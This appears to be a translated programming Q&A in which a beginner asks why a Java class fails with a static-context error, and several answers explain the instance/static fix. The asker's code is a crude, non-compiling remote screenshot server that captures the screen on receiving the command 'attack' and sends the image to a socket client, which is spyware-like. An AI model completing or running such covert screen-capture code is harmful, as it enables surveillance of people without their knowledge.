非静态变量data_in不能从静态上下文引用

时间:2013-01-27 09:36:46

标签: java

  

可能重复:
  non-static variable cannot be referenced from a static context (java)

我在编译以下java代码时遇到了上述错误。 我是这种语言的新手,我不太确定code.i可以清除正常的错误,但这个我不明白它是什么。请帮助我

public class Kari_Server
{


    ServerSocket server_socket=new ServerSocket(666);       
    Socket soc=server_socket.accept();
    DataInputStream data_in=new DataInputStream(soc.getInputStream());
    DataOutputStreamdata_out=newDataOutputStream(soc.getOutputStream());
    int a=1;
    int i;

    public void screen()throws Exception
    {

        Robot robo=new Robot();
        BufferedImage screen_shot=robo.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
        ImageIO.write(screen_shot,"JPG",new File("C:\\windows\\temp\\screen_shot"+a+".jpg"));
        FileInputStream file_in=new FileInputStream("C:\\windows\\temp\\screen_shot"+a+".jpg");
        byte[] mybyte=new byte[1024];
        try
        {
            while((i=file_in.read(mybyte))>-1)
                data_out.writeUTF(mybyte,0,i);
        }
        catch(Exception e)  {}  
    }           

    public static void main(String args[])throws Exception  
    {
        Kari_Server kari=new Kari_Server();
        while(true)
        {
            String s1=" ";
            s1=data_in.readUTF();
            if(s1=="attack")
                kari.screen();
            else
                System.exit(0);
        }   
    }   
}  

5 个答案:

答案 0 :(得分:1)

主要方法是静态方法。除了类中的静态变量之外,它无法访问任何内容。要访问data_in,您需要使用现有的kari变量。 所以,而不是

s1=data_in.readUTF();

使用

s1=kari.data_in.readUTF();

答案 1 :(得分:1)

data_in属于Kari_Server的实例,但主要功能不属于。将对data_in的引用移动到非静态函数:

...
protected readUTF() throws Exception
{
    return data_in.readUTF();
}
public static void main(String args[]) throws Exception
{
    {
        Kari_Server kari=new Kari_Server();
        while(true)
        {
            String s1=" ";
            s1=kari.readUTF();
... 

答案 2 :(得分:0)

我认为您的问题在于data_in

 DataInputStream data_in=new DataInputStream(soc.getInputStream());

您在static void main方法

中使用该字段
  s1=data_in.readUTF();

静态方法不能访问非静态字段。

解决方案是:

  1. 将您的data_in更改为静态字段

    static DataInputStream data_in=new DataInputStream(soc.getInputStream());
    
  2. 或者,使用kari对象访问data_in:

    kari.data_in
    

答案 3 :(得分:0)

data_in是Kari_Server类的成员字段。所以你需要通过Kari_Server的实例来引用它。 您可以使用kari.data_in或为此字段创建一个getter并使用kari.gatDataIn()。

答案 4 :(得分:0)

您正在从main方法调用静态方法和变量,因此您的方法和方法中使用的类中的所有变量都应声明为static。